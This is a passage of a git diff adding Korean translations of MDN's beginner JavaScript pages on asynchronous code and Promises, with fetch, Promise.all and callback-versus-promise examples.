이 개념에 익숙해 지기 위해서는 연습이 필요합니다.; 마치 {{interwiki("wikipedia", "Schrödinger's cat")}}(슈뢰딩거의 고양이) 처럼 느껴질 수 있습니다. 위의 예제에서도 발생 가능한 결과 중 아직 아무것도 발생하지 않았기 때문에, 미래에 어떤 시점에서 fetch()작업이 끝났을때 어떤 작업을 수행 시키기 위해 두 가지 작업이 필요합니다. 예제에선 fetch() 마지막에 세 개의 코드 블럭이 더 있는데 이를 살펴보겠습니다. :

+ + + +
+

Note: You'll learn a lot more about promises later on in the module, so don't worry if you don't understand them fully yet.

+
+ +

The event queue

+ +

promise와 같은 비동기 작업은 event queue에 들어갑니다. 그리고 main thread가 끝난 후 실행되어 후속 JavaScript 코드가 차단되는것을 방지합니다. queued 작업은 가능한 빨리 완료되어 JavaScript 환경으로 결과를 반환해줍니다.

+ +

Promises vs callbacks

+ +

Promises 는 old-style callbacks과 유사한 점이 있습니다. 기본적으로 callback을 함수로 전달하는 것이 아닌 callback함수를 장착하고 있는 returned된 오브젝트 입니다.

+ +

그러나 Promise는 비동기 작업을 처리함에 있어서 old-style callbacks 보다 더 많은 이점을 가지고 있습니다. :

+ + + +

The nature of asynchronous code

+ +

코드 실행 순서를 완전히 알지 못할 때 발생하는 현상과 비동기 코드를 동기 코드처럼 취급하려고 하는 문제를 살펴보면서 비동기 코드의 특성을 더 살펴봅시다 아래 예제는 이전에 봤던 예제와 유사합니다. (see it live, and the source). 한가지 다른 점은 코드가 실행순서를 보여주기 위해 {{domxref("console.log()")}} 를 추가했습니다.

+ +
console.log ('Starting');
+let image;
+
+fetch('coffee.jpg').then((response) => {
+  console.log('It worked :)')
+  return response.blob();
+}).then((myBlob) => {
+  let objectURL = URL.createObjectURL(myBlob);
+  image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+}).catch((error) => {
+  console.log('There has been a problem with your fetch operation: ' + error.message);
+});
+
+console.log ('All done!');
+ +

브라우저는 코드를 실행하기 시작할 것이고, 맨 처음 나타난 (Starting) 글씨가 써진 console.log() 후 image 변수를 만들 것 입니다.

+ +

다음으로 fetch() block 으로 이동하여 코드를 실행하려고 할 것 입니다. fetch() 덕분에 blocking없이 비동기 적으로 코드가 실행되겠죠. 블럭 내에서 promise와 관련된 작업이 끝나면 다음 작업으로 이어질 것 입니다. 그리고 마지막으로 (All done!) 가 적혀있는 console.log() 에서 메시지를 출력할 것 입니다.

+ +

fetch() 블럭 작업이 작업을 완전히 끝내고 마지막 .then() 블럭에 도달해야 console.log() 의 (It worked :)) 메시지가 나타납니다. 그래서 메시지의 순서는 코드에 적혀있는 대로 차례대로 나타나는게 아니라 순서가 약간 바뀌어서 나타납니다 :

+ + + +

이 예가 어렵다면 아래의 다른 예를 살펴보세요 :

+ +
console.log("registering click handler");
+
+button.addEventListener('click', () => {
+  console.log("get click");
+});
+
+console.log("all done");
+ +

이전 예제와 매우 유사한 예제 입니다. — 첫 번째와 세 번째console.log() 메시지는 콘솔창에 바로 출력됩니다. 그러나 두 번째 메시지는 누군가가 버튼을 클릭하기 전엔 콘솔에 표시되지 않죠. 위의 예제의 차이라면 두 번쩨 메시지가 어떻게 잠시 blocking이 되는지 입니다. 첫 예제는 Promise 체이닝 때문에 발생하지만 두 번째 메시지는 클릭 이벤트를 대기하느라고 발생합니다.

+ +

less trivial 코드 예제에서 이러한 설정을 문제를 유발할 수 있습니다. — 비동기 코드 블럭에서 반환된 결과를 동기화 코드 블럭에 사용할 수 없습니다. 위의 에시에서 image 변수가 그 예시 입니다. 브라우저가 동기화 코드 블럭을 처리하기 전에 비동기 코드 블럭 작업이 완료됨을 보장할 수 없습니다.

+ +

어떤 의미인지 확인을 하려면 our example을 컴퓨터에 복사한 후 마지막 console.log() 를 아래처럼 고쳐보세요:

+ +
console.log ('All done! ' + image.src + 'displayed.');
+ +

고치고 나면 콘솔창에서 아래와 같은 에러가 뜨는것을 확인할 수 있습니다. :

+ +
TypeError: image is undefined; can't access its "src" property
+ +

브라우저가 마지막 console.log() 를 처리할 때, fetch() 블럭이 완료되지 않아 image 변수에 결과가 반환되지 않았기 때문입니다.

+ +
+

Note: For security reasons, you can't fetch() files from your local filesystem (or run other such operations locally); to run the above example locally you'll have to run the example through a local webserver.

+
+ +

Active learning: make it all async!

+ +

위의 fetch() 예시에서 마지막console.log()도 순서대로 나타나도록 고칠 수 있습니다. 마지막 console.log() 도 비동기로 작동시키면 됩니다. 마지막 .then() 블럭의 마지막에 다시 작성하거나, 새로운 블럭을 만들면 콘솔에 순서대로 나타날 것 입니다. 지금 바로 고쳐보세요!

+ +
+

Note: If you get stuck, you can find an answer here (see it running live also). You can also find a lot more information on promises in our Graceful asynchronous programming with Promises guide, later on in the module.

+
+ +

Conclusion

+ +

In its most basic form, JavaScript is a synchronous, blocking, single-threaded language, in which only one operation can be in progress at a time. But web browsers define functions and APIs that allow us to register functions that should not be executed synchronously, and should instead be invoked asynchronously when some kind of event occurs (the passage of time, the user's interaction with the mouse, or the arrival of data over the network, for example). This means that you can let your code do several things at the same time without stopping or blocking your main thread.

+ +

Whether we want to run code synchronously or asynchronously will depend on what we're trying to do.

+ +

There are times when we want things to load and happen right away. For example when applying some user-defined styles to a webpage you'll want the styles to be applied as soon as possible.

+ +

If we're running an operation that takes time however, like querying a database and using the results to populate templates, it is better to push this off the main thread and complete the task asynchronously. Over time, you'll learn when it makes more sense to choose an asynchronous technique over a synchronous one.

+ + + +

{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Concepts", "Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous")}}

+ +

In this module

+ + diff --git a/files/ko/learn/javascript/asynchronous/promises/index.html b/files/ko/learn/javascript/asynchronous/promises/index.html new file mode 100644 index 0000000000..bf7a5a0f04 --- /dev/null +++ b/files/ko/learn/javascript/asynchronous/promises/index.html @@ -0,0 +1,588 @@ +--- +title: Graceful asynchronous programming with Promises +slug: Learn/JavaScript/Asynchronous/Promises +translation_of: Learn/JavaScript/Asynchronous/Promises +--- +
{{LearnSidebar}}
+ +
{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Timeouts_and_intervals", "Learn/JavaScript/Asynchronous/Async_await", "Learn/JavaScript/Asynchronous")}}
+ +

Promises 는 이전 작업이 완료될 때 까지 다음 작업을 연기 시키거나, 작업실패를 대응할 수 있는 비교적 새로운 JavaScript 기능입니다. Promise는 비동기 작업 순서가 정확하게 작동되게 도움을 줍니다. 이번 문서에선 Promise가 어떻게 동작하는지, 웹 API와 어떻게 사용할 수 있는지 그리고 직접 코드를 만들어 볼것 입니다. 

+ + + + + + + + + + + + +
Prerequisites:Basic computer literacy, a reasonable understanding of JavaScript fundamentals.
Objective:To understand promises and how to use them.
+ +

What are promises?

+ +

앞서서 Promises 를 미리 봤지만, 지금부턴 좀더 깊이있게 들여다 볼 차례 입니다..

+ +

Promise는 어떤 작업의 중간상태를 나타내는 오브젝트 입니다. — 미래에 어떤 종류의 결과가 반환됨을 promise (약속) 해주는 오브젝트라고 보면 됩니다. Promise는 작업이 완료되어 결과를 반환해주는 정확한 시간을 보장해주지는 않지만, 사용할 수 있는 결과를 반환했을때 프로그래머의 의도대로 다음 코드를 진행 시키거나, 에러가 발생했을 때 그 에러를 우아하게/깔끔하게 처리할 수 있습니다.

+ +

일반적으로 우리는 비동기 작업이 결과를 반환하는데 얼마의 시간이 걸리는지 보다는(작업 시간이 매우 오래 걸리지 않는 한) 그 결과를 사용할 수 있는지 여부에 더 관심이 있습니다.  물론 나머지 코드 블럭을 막지 않는다는 것에 있어서 매우 좋습니다.

+ +

우리가 Promise로 가장 많이 할 작업중 하나는 Promise를 반환하는 웹API를 사용하는 것 입니다. 가상의 비디오 채팅 애플리케이션이 있다고 해봅시다. 애플리케이션에는 친구 목록이 있고 각 친구 목록 옆의 버튼을 클릭하면 해당 친구와 비디오 채팅을 시작합니다.

+ +

그 버튼은 사용자 컴퓨터의 카메라와 마이크를 사용하기 위해 {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} 를 호출합니다. getUserMedia() 는 사용자가 이러한 장치를 사용할 수 있는 권한을 가지고 있는지 확인해야 하고, 어떤 마이크와 카메라를 사용할 것인지 (혹은 음성 통화인지, 아니면 다른 옵션들이 있는지)를 체크해야하기 때문에 모든 결정이 내려질 때 까지 다음 작업을 차단할 수 있습니다. 또한 카메라와 마이크가 작동하기 전 까지 다음 작업을 차단할수도 있습니다.

+ +

getUserMedia() 는 브라우저의 main thread에서 실행되므로 getUserMedia() 결과가 반환되기 전 까지 후행 작업이 모두 차단됩니다. 이러한 blocking은 우리가 바라는게 아닙니다. Promise가 없으면 이러한 결정이 내려지기 전 까지 브라우저의 모든 것을 사용할 수 없게됩니다. 따라서 사용자가 선택한 장치를 활성화하고 소스에서 선택된 스트림에 대해{{domxref("MediaStream")}} 직접 반환하는 대신 getUserMedia() 는 모든 장치가 사용 가능한 상태가 되면 {{domxref("MediaStream")}}이 포함된 {{jsxref("promise")}}를 반환합니다.

+ +

비디오 채팅 애플리케이션의 코드는 아래처럼 작성할 수 있습입니다. :

+ +
function handleCallButton(evt) {
+  setStatusMessage("Calling...");
+  navigator.mediaDevices.getUserMedia({video: true, audio: true})
+    .then(chatStream => {
+      selfViewElem.srcObject = chatStream;
+      chatStream.getTracks().forEach(track => myPeerConnection.addTrack(track, chatStream));
+      setStatusMessage("Connected");
+    }).catch(err => {
+      setStatusMessage("Failed to connect");
+    });
+}
+
+ +

이 기능은 상태 메시지에 "Calling..."을 출력하는 setStatusMessage() 함수로 시작하며 통화가 시도되고 있음을 나타냅니다. 그런 다음 getUserMedia()을 호출하여 비디오와 오디오 트랙이 모두 있는 스트림 요청을 합니다. 그리고 스트림을 획득하면 카메라에서 나오는 스트림을 "self view,"로 표시하기 위해 video엘리먼트를 설정합니다. 그리고 각 스트림의 트랙을 가져가 다른 사용자와의 연결을 나타내는 WebRTC {{domxref("RTCPeerConnection")}}에 추가합니다. 그리고 마지막으로 상태 메시지를 "Connected"로 업데이트 합니다.

+ +

getUserMedia() 가 실패하면, catch 블럭이 실행되며, setStatusMessage() 를 사용하여 상태창에 오류 메시지를 표시합니다.

+ +

여기서 중요한건 getUserMedia()는 카메라 스트림이 아직 확보되지 않았음에도 거의 즉시 반환을 해줬다는 것 입니다. handleCallButton() 함수가 자신을 호출한 코드로 결과를 이미 반환을 했더라도 getUserMedia()의 작업이 종료되면 프로그래머가 작성한 다음 핸들러를 호출할 것 입니다. 앱이 스트리밍을 했다고 가정하지 않는 한 계속 실행될 수 있습니다.

+ +
+

Note: You can learn more about this somewhat advanced topic, if you're interested, in the article Signaling and video calling. Code similar to this, but much more complete, is used in that example.

+
+ +

The trouble with callbacks

+ +

Promise가 왜 좋은지 이해하기 위해 구식 callbacks을 살펴보고 어떤게 문제인지 파악 해보겠습니다.

+ +

피자를 주문한다고 생각해봅시다. 피자를 잘 주문하려면 몇 가지 단계를 진행해야 합니다. 토핑 위에 도우를 올리고 치즈를 뿌리는 등 각 단계가 뒤죽박죽 이거나 혹은 도우를 반죽하고 있는데 그 위에 토마토소스를 바르는 등 이전 작업이 끝나지 않고 다음 작업을 진행하는 것은 말이 안 됩니다.  :

+ +
    +
  1. 먼저 원하는 토핑을 고릅니다. 결정 장애가 심할 경우 토핑을 고르는데 오래 걸릴 수 있습니다. 또한 마음을 바꿔 피자 대신 카레를 먹으려고 가게를 나올 수 있습니다.
  2. +
  3. 그다음 피자를 주문합니다. 식당이 바빠서 피자가 나오는 데 오래 걸릴 수 있고, 마침 재료가 다 떨어졌으면 피자를 만들 수 없다고 할 것 입니다.
  4. +
  5. 마지막으로 피자를 받아서 먹습니다. 그런데! 만약 지갑을 놓고 와서 돈을 내지 못한다면 피자를 먹지 못할 수 있습니다.
  6. +
+ +

구식 callbacks을 사용하면 아래와 같은 모습의 코드가 나타날것 입니다. :

+ +
chooseToppings(function(toppings) {
+  placeOrder(toppings, function(order) {
+    collectOrder(order, function(pizza) {
+      eatPizza(pizza);
+    }, failureCallback);
+  }, failureCallback);
+}, failureCallback);
+ +

이런 코드는 읽기도 힘들 뿐 아니라 (종종 "콜백 지옥" 이라 불림), failureCallback() 을 여러 번 작성해야 하며 또한 다른 문제점도 가지고 있습니다.

+ +

Improvements with promises

+ +

위의 상황에서 Promise를 사용하면 읽기, 작성, 실행 모두 다 쉬워집니다. callback 대신 비동기 Promise를 사용하면 아래처럼 작성할 수 있습니다.  :

+ +
chooseToppings()
+.then(function(toppings) {
+  return placeOrder(toppings);
+})
+.then(function(order) {
+  return collectOrder(order);
+})
+.then(function(pizza) {
+  eatPizza(pizza);
+})
+.catch(failureCallback);
+ +

보기에 훨씬 더 좋군요! — 이렇게 작성하면 앞으로 어떤 일이 일어날지 쉽게 예측 가능합니다. 그리고 단 한개의 .catch() 을 사용하여 모든 에러를 처리합니다. 그리고 main thread를 차단하지 않습니다. (그래서 피자를 주문하고 기다리는 동안 하던 게임을 마저 할 수 있습니다.), 또한 각 함수가 실행되기 전 이전 작업이 끝날때까지 기다립니다. 이런식으로 여러 개의 비동기 작업을 연쇄적으로 처리할 수 있습니다. 왜냐햐면 각 .then() 블럭은 자신이 속한 블럭의 작업이 끝났을 때의 결과를 새로운 Promise 반환해주기 때문입니다. 어때요, 참 쉽죠?

+ +

화살표 함수를 사용하면 코드를 조금 더 간단하게 고칠 수 있습니다. :

+ +
chooseToppings()
+.then(toppings =>
+  placeOrder(toppings)
+)
+.then(order =>
+  collectOrder(order)
+)
+.then(pizza =>
+  eatPizza(pizza)
+)
+.catch(failureCallback);
+ +

혹은 아래처럼 표현할 수 있습니다. :

+ +
chooseToppings()
+.then(toppings => placeOrder(toppings))
+.then(order => collectOrder(order))
+.then(pizza => eatPizza(pizza))
+.catch(failureCallback);
+ +

화살표 함수의 () => x 표현은 () => { return x; }의 약식 표현이므로 잘 작동합니다.

+ +

함수는 arguments를 직접 전달 하므로 함수처럼 표현하지 않고 아래와 같이 작성할 수도 있습니다. :

+ +
chooseToppings().then(placeOrder).then(collectOrder).then(eatPizza).catch(failureCallback);
+ +

그런데 이렇게 작성하면 읽기가 쉽지 않습니다. 사용자의 코드가 지금의 예제보다 더 복잡하다면 위의 방법은 사용하기 힘듭니다.

+ +
+

Note: 다음 장에서 배울 async/await 문법으로 좀 더 간결화 할 수 있습니다.

+
+ +

Promise는 이벤트 리스너와 유사하지만 몇 가지 다른점이 있습니다. :

+ + + +

Explaining basic promise syntax: A real example

+ +

모던 웹 API는 잠재적으로 긴 작업을 수행하는 함수에 Promise를 사용하므로 Promise가 무엇인지 이해하는것은 매우 중요합니다. 현대적인 웹 기술을 사용하려면 Promise를 사용해야합니다. 챕터의 후반부에서 직접 Promise를 만들어보겠지만, 지금은 일단 웹 API에서 접할 수 있는 몇 가지 예제를 살펴보겠습니다.

+ +

첫 번째로, 웹에서 이미지를 가져오기 위하여 fetch() 메서드를 사용할 때 입니다.{{domxref("Body.blob", "blob()")}} 메서드는 fetch가 응답한 원시 body컨텐츠를 {{domxref("Blob")}} 오브젝트로 변환시켜주고{{htmlelement("img")}} 엘리먼트에 표현합니다. 이예제는 first article of the series유사합니다. 다만 Promise를 사용하기 위해 약간의 변경을 하겠습니다.

+ +
+

Note: The following example will not work if you just run it directly from the file (i.e. via a file:// URL). You need to run it through a local testing server, or use an online solution such as Glitch or GitHub pages.

+
+ +
    +
  1. +

    먼저 simple HTML template 와 fetch할 이미지인 sample image file 을 다운받습니다.

    +
  2. +
  3. +

    HTML {{htmlelement("body")}} 하단에 {{htmlelement("script")}} 엘리먼트를 삽입합니다.

    +
  4. +
  5. +

    {{HTMLElement("script")}} 엘리먼트 안에 아래와 같이 코드를 작성합니다. :

    + +
    let promise = fetch('coffee.jpg');
    + +

    fetch() 메서드를 호출하여, 네트워크에서 fetch할 이미지의 URL을 매개변수로 전달합니다. 두 번째 매개변수를 사용할 수 있지만, 지금은 우선 간단하게 하나의 매개변수만 사용하겠습니다. 코드를 더 살펴보면 promise변수에 fetch() 작업으로 반환된 Promise 오브젝트를 저장하고 있습니다. 이전에 말했듯이, 지금 오브젝트는 성공도 아니고 실패도 아닌 중간 상태를 저장하고 있습니다. 공식적으로는 pending상태라고 부릅니다.

    +
  6. +
  7. +

    작업이 성공적으로 진행될 때를 대응하기 위해 (이번 예제에선 {{domxref("Response")}} 가 반환될 때 입니다. ), 우리는 Promise 오브젝트의 .then() 메서드를 호출합니다. .then() 블럭 안의 callback은 (executor 라고 부름) Promise가 성공적으로 완료되고{{domxref("Response")}} 오브젝트를 반환할 때만 실행합니다. — 이렇게 성공한 Promise의 상태를 fulfilled라고 부릅니다. 그리고 반환된 {{domxref("Response")}} 오브젝트를 매개변수로 전달합니다.

    + +
    +

    Note: The way that a .then() block works is similar to when you add an event listener to an object using AddEventListener(). It doesn't run until an event occurs (when the promise fulfills). The most notable difference is that a .then() will only run once for each time it is used, whereas an event listener could be invoked multiple times.

    +
    + +

    그리고 즉시 blob() 메서드를 실행하여 Response Body가 완전히 다운로드 됐는지 확인합니다. 그리고 Response Body가 이용 가능할 때 추가 작업을 할 수 있는 Blob 오브젝트로 변환시킵니다. 해당 코드는 아래와 같이 작성할 수 있습니다. :

    + +
    response => response.blob()
    + +

    위의 코드는 아래의 코드를 축약한 형태입니다. 

    + +
    function(response) {
    +  return response.blob();
    +}
    + +

    이제 추가 설명은 충븐하므로, JavaScript의 첫 번째 줄 아래에 다음과 같은 라인을 추가하세요.

    + +
    let promise2 = promise.then(response => response.blob());
    +
  8. +
  9. +

    각 .then() 을 호출하면 새로운 Promise를 만드는데, 이는 매우 유용합니다. 왜냐하면 blob() 메서드도 Promise를 반환하기 때문에, 두 번째 Promise의 .then() 메서드를 호출함으로써 이행시 반환되는 Blob 오브젝트를 처리할 수 있습니다. 한 가지 메서드를 실행하여 결과를 반환하는 것보다 Blob에 좀 더 복잡한 일을 추가하고 싶습니다. 이럴때는 중괄호{ }로 묶습니다. (그렇지 않으면 에러가 발생합니다.).

    + +

    이어서 아래와 같은 코드를 추가합니다.:

    + +
    let promise3 = promise2.then(myBlob => {
    +
    +})
    +
  10. +
  11. +

    이제 executor 함수를 아래와 같이 채워넣습니다. 중괄호 안에 작성하면 됩니다. :

    + +
    let objectURL = URL.createObjectURL(myBlob);
    +let image = document.createElement('img');
    +image.src = objectURL;
    +document.body.appendChild(image);
    + +

    여기서 우리는 두 번째 Promise가 fulfills일 때 반횐된 Blob을 매개변수로 전달받는 {{domxref("URL.createObjectURL()")}} 메서드를 실행하고 있습니다. 이렇게 하면 오브젝트가 가지고있는 URL이 반환됩니다. 그 다음 {{htmlelement("img")}} 엘리먼트를 만들고, 반환된 URL을 src 속성에 지정하여 DOM에 추가합니다. 이렇게 하면 페이지에 그림이 표시됩니다.

    +
  12. +
+ +

If you save the HTML file you've just created and load it in your browser, you'll see that the image is displayed in the page as expected. Good work!

+ +
+

Note: You will probably notice that these examples are somewhat contrived. You could just do away with the whole fetch() and blob() chain, and just create an <img> element and set its src attribute value to the URL of the image file, coffee.jpg. We did, however, pick this example because it demonstrates promises in a nice simple fashion, rather than for its real-world appropriateness.

+
+ +

Responding to failure

+ +

현재 에러가 발생했을 때 어떻게 처리를 해야할 지 작성된 코드가 없기때문에 코드를 조금만 더 추가하여 좀 더 완벽하게 작성해봅시다. (Promise에서 에러가 발생한 상태를 rejects라 부릅니다). 이전에 봤던대로 .catch() 블럭을 추가하여 오류를 핸들링 할 수 있습니다. 아래처럼 말이죠 :

+ +
let errorCase = promise3.catch(e => {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});
+ +

에러 메시지를 확인하고 싶으면 잘못된 url을 지정해보세요, 개발자 도구 콘솔에서 에러를 확인할 수 있을것 입니다.

+ +

물론 .catch() 블록 없이 코드를 작동시킬 수 있습니다. 하지만 좀 더 깊게 생각해보면 .catch() 블록이 없으면 어떤 에러가 발생했는지, 어떻게 해결해야 하는지 디버깅이 어렵습니다. 실제 앱에서 .catch() 을 사용하여 이미지 가져오기를 다시 실행하거나, 기본 이미지를 표시하는 등 작업을 지시할 수 있습니다.

+ +
+

Note: You can see our version of the example live (see the source code also).

+
+ +

Chaining the blocks together

+ +

위에서 사용한 코드는 작업이 어떻게 처리되는지 명확하게 보여주기 위해 매우 길게 코드를 작성했습니다. 이전 글에서 봤듯이, .then() 블럭을 사용하여 연쇄 작업을 진행할 수 있습니다. (또한 .catch() 블럭을 사용하여 에러 처리도 했지요). 앞선 예제의 코드는 아래와 같이 작성할 수도 있습니다. (see also simple-fetch-chained.html on GitHub):

+ +
fetch('coffee.jpg')
+.then(response => response.blob())
+.then(myBlob => {
+  let objectURL = URL.createObjectURL(myBlob);
+  let image = document.createElement('img');
+  image.src = objectURL;
+  document.body.appendChild(image);
+})
+.catch(e => {
+  console.log('There has been a problem with your fetch operation: ' + e.message);
+});
+ +

fulfilled promise 결과에 의해 반환된 값이 다음 .then() 블록의  executor 함수가 가진 파라미터로 전달 된다는 것을 꼭 기억하세요.

+ +
+

Note: .then()/.catch() blocks in promises are basically the async equivalent of a try...catch block in sync code. Bear in mind that synchronous try...catch won't work in async code.

+
+ +

Promise terminology recap

+ +

위의 섹션에서 다룬 내용은 정말 많습니다. 매우 중요한 내용을 다뤘으므로 개념을 명확히 이해하기 위해 몇번이고 다시 읽어보는게 좋습니다.

+ +
    +
  1. Promise가 생성되면 그 상태는 성공도 실패도 아닌 pending상태라고 부릅니다..
  2. +
  3. Promise결과가 반환되면 결과에 상관 없이 resolved상태라고 부릅니다.. +
      +
    1. 성공적으로 처리된 Promise는 fulfilled상태이다. 이 상태가 되면 Promise 체인의 다음 .then() 블럭에서 사용할 수 있는 값을 반환합니다.. 그리고 .then() 블럭 내부의 executor 함수에 Promise에서 반환된 값이 파라미터로 전달됩니다..
    2. +
    3. 실패한 Promise는 rejected상태이다. 이때 어떤 이유(reason) 때문에 Promise가 rejected 됐는지를 나타내는 에러 메시지를 포함한 결과가 반환됩니다. Promise 체이닝의 제일 마지막 .catch() 에서 상세한 에러 메시지를 확인할 수 있습니다.
    4. +
    +
  4. +
+ +

Running code in response to multiple promises fulfilling

+ +

위의 예제에서 Promise사용의 기초를 확인했습니다. 이제 고급 기능들을 한번 보겠습니다. 제일 먼저 확인해볼 예제는 다음과 같습니다. 연쇄적으로 일어나는 작업은 좋습니다. 그런데 모든 Promise가 fulfilled일 경우 코드를 실행하고 싶은 경우가 있을것 입니다.

+ +

해당 기능을 Promise.all() 이라는 스테틱 메서드를 사용하여 만들 수 있습니다. 이 메서드는 Promise의 배열을 매개변수로 삼고, 배열의 모든 Promise가 fulfil일 때만 새로운 fulfil Promise 오브젝트를 반환합니다. 아래처럼 말이죠 :

+ +
Promise.all([a, b, c]).then(values => {
+  ...
+});
+ +

배열의 모든 Promise가 fulfil 이면, .then() 블럭의 executor 함수로의 매개변수로 Promise 결과의 배열을 전달합니다. Promise.all() 의 Promise의 배열 중 하나라도 reject라면, 전체 결과가 reject가 됩니다.

+ +

이 방법은 매우 유용합니다. 웹 UI의 컨텐츠를 동적인 방법으로 채운다고 생각 해보겠습니다. 대부분 경우에 듬성듬성 내용을 채우기보단, 완전한 내용을 채울것 입니다.

+ +

다른 예제를 만들어서 실행해 보겠습니다.

+ +
    +
  1. +

    이미 만들어진 page template을 다운받으세요 그리고 </body> 뒤에 <script> 엘리먼트를 만들어주세요.

    +
  2. +
  3. +

    이미지 그리고 텍스트 파일(coffee.jpg, tea.jpg, and description.txt)을 다운받고 page template 와 같은 경로에 저장해주세요.

    +
  4. +
  5. +

    먼저 Promise를 반환하는 몇 가지 함수를 만들어 Promise.all()로 결과를 반환합니다. 세 개의 fetch() 작업이 끝나고 다음 요청을 진행하고 싶다면 아래 코드처럼 Promise.all()블럭을 작성합니다. :

    + +
    let a = fetch(url1);
    +let b = fetch(url2);
    +let c = fetch(url3);
    +
    +Promise.all([a, b, c]).then(values => {
    +  ...
    +});
    + +

    Promise가 fulfilled가 됐을 때, fulfilment handler 핸들러로 전달된 values 매개변수에는 각 fetch() 의 결과로 발생한 세 개의 Response 오브젝트가 들어있습니다 .

    + +

    하지만 우리는 단순히 결과만 넘겨주고 싶지 않습니다. 우리는fetch() 언제 끝나는지 보다 불러온 데이터에 더 관심이 있습니다. 그말은 브라우저에 표현할 수 있는 Blob과 텍스트 문자열이 불러와 졌을 때 Promise.all() 블럭을 실행하고 싶다는 것 입니다.  <script> 엘리먼트에 아래와 같이 작성합니다. :

    + +
    function fetchAndDecode(url, type) {
    +  return fetch(url).then(response => {
    +    if (type === 'blob') {
    +      return response.blob();
    +    } else if (type === 'text') {
    +      return response.text();
    +    }
    +  })
    +  .catch(e => {
    +    console.log('There has been a problem with your fetch operation: ' + e.message);
    +  });
    +}
    + +

    살짝 복잡해 보이므로 하나하나 살펴봅시다. :

    + +
      +
    1. 먼저 fetchAndDecode() 함수를 정의했고 함수의 매개변수로 컨텐츠의 URL과 가져오는 리소스의 타입을 지정합니다.
    2. +
    3. 함수 내부에 첫 번째 예에서 본 것과 유사한 구조를 가진 코드가 있습니다. — fetch() 함수를 호출하여 전달받은 URL에서 리소스를 받아오도록 했습니다. 그리고 다음 Promise를 연쇄적으로 호출하여 디코딩된 (혹은 "읽은") Response Body를 반환하게 합니다. 이전 예에선 Blob만을 가져오기 때문에 blob() 메서드만 썼습니다.
    4. +
    5. 여기에선 이전과 다른 두 가지가 있습니다. : +
        +
      • 먼저 두 번째 Promise에서는 불러올 리소스의 type 이 무엇인지에 따라 반환받는 데이터가 다릅니다. executor 함수 내부에, 간단한 if ... else if 구문을 사용하여 어떤 종류의 파일을 디코딩해야 하는지에 따라 다른 Promise를 반환하게 했습니다. (이 경우 blob 이나 text밖에 없지만, 이것을 잘 활용하여 다른 코드에 확장하여 적용할 수 있습니다.).
      • +
      • 두 번째로,  fetch() 호출 앞에 return 키워드를 추가했습니다. 이렇게 하면 Promise 체이닝의 마지막 결과값을 함수의 결과로 반환해 줄 수 있습니다. (이 경우 blob() 혹은 text()메서드에 의해 반환된 Promise 입니다.) 사실상 fetch() 앞의 return 구문은 체이닝 결과를 다시 상단으로 전달하는 행위 입니다.
      • +
      +
    6. +
    7. +

      블럭의 마지막에는 .catch() 블럭을 추가하여 작업중 발생한 에러를 .all()의 배열로 전달합니다. 아무 Promise에서 reject가 발생하면, catch 블럭은 어떤 Promise에서 에러가 발생했는지 알려줄 것 입니다.  .all() (아래쪽에 있는) 블럭의 리소스에 문제가 있지 않는 이상 항상 fulfil일것 입니다. .all 블럭의 마지막 체이닝에 .catch() 블럭을 추가하여 reject됐을때 확인을 할 수 있습니다.

      +
    8. +
    + +

    함수의 body 안에 있는 코드는 비동기적이고 Promise 기반이므로, 전체 함수는 Promise로 작동합니다. — 편리하죠?.

    +
  6. +
  7. +

    다음으로 fetchAndDecode() 함수를 세 번 호출하여 이미지와 텍스트를 가져오고 디코딩 하는 과정을 시작합니다. 그리고 반환된 Promise를 각각의 변수에 저장합니다. 이전 코드에 이어서 아래 코드를 추가하세요. :

    + +
    let coffee = fetchAndDecode('coffee.jpg', 'blob');
    +let tea = fetchAndDecode('tea.jpg', 'blob');
    +let description = fetchAndDecode('description.txt', 'text');
    +
  8. +
  9. +

    다음으로 위의 세 가지 코드가 모두 fulfilled가 됐을 때 원하는 코드를 실행하기 위해 Promise.all() 블럭을 만듭니다. 우선, .then() call 안에 비어있는 executor 를 추가하세요 :

    + +
    Promise.all([coffee, tea, description]).then(values => {
    +
    +});
    + +

    위에서 Promise를 포함하는 배열을 매개 변수로 사용하는 것을 확인할 수 있습니다. executor는 세 가지 Promise가 resolve될 때만 실행될 것 입니다. 그리고 executor가 실행될 때 개별적인 Promise의 결과를 포함하는 [coffee-results, tea-results, description-results] 배열을 매개 변수로 전달받을 것 입니다.  (여기선 디코딩된 Response Body 입니다.).

    +
  10. +
  11. +

    마지막으로 executor 함수를 작성합니다. 예제에선 반환된 결과를 별도의 변수로 저장하기 위해 간단한 동기화 코드를 사용합니다. (Blob에서 오브젝트 URLs 생성), 그리고 페이지에 텍스트와 이미지를 표시합니다.

    + +
    console.log(values);
    +// Store each value returned from the promises in separate variables; create object URLs from the blobs
    +let objectURL1 = URL.createObjectURL(values[0]);
    +let objectURL2 = URL.createObjectURL(values[1]);
    +let descText = values[2];
    +
    +// Display the images in <img> elements
    +let image1 = document.createElement('img');
    +let image2 = document.createElement('img');
    +image1.src = objectURL1;
    +image2.src = objectURL2;
    +document.body.appendChild(image1);
    +document.body.appendChild(image2);
    +
    +// Display the text in a paragraph
    +let para = document.createElement('p');
    +para.textContent = descText;
    +document.body.appendChild(para);
    +
  12. +
  13. +

    코드를 저장하고 창을 새로고치면 보기엔 좋지 않지만, UI 구성 요소가 모두 표시된 것을 볼 수 있습니다.

    +
  14. +
+ +

여기서 제공한 코드는 매우 기초적이지만, 내용을 전달하기에는 아주 좋습니다..

+ +
+

Note: If you get stuck, you can compare your version of the code to ours, to see what it is meant to look like — see it live, and see the source code.

+
+ +
+

Note: If you were improving this code, you might want to loop through a list of items to display, fetching and decoding each one, and then loop through the results inside Promise.all(), running a different function to display each one depending on what the type of code was. This would make it work for any number of items, not just three.

+ +

Also, you could determine what the type of file is being fetched without needing an explicit type property. You could, for example, check the {{HTTPHeader("Content-Type")}} HTTP header of the response in each case using response.headers.get("content-type"), and then react accordingly.

+
+ +

Running some final code after a promise fulfills/rejects

+ +

Promise의 결과가 fulfilled 인지 rejected인지 관계 없이 Promise가 완료된 후 최종 코드 블럭을 실행하려는 경우가 있을 것입니다. 이전에는 아래 예시처럼 .then() 블럭과.catch() 블럭의 callbacks에 아래와 같이 runFinalCode()를 넣었었습니다. :

+ +
myPromise
+.then(response => {
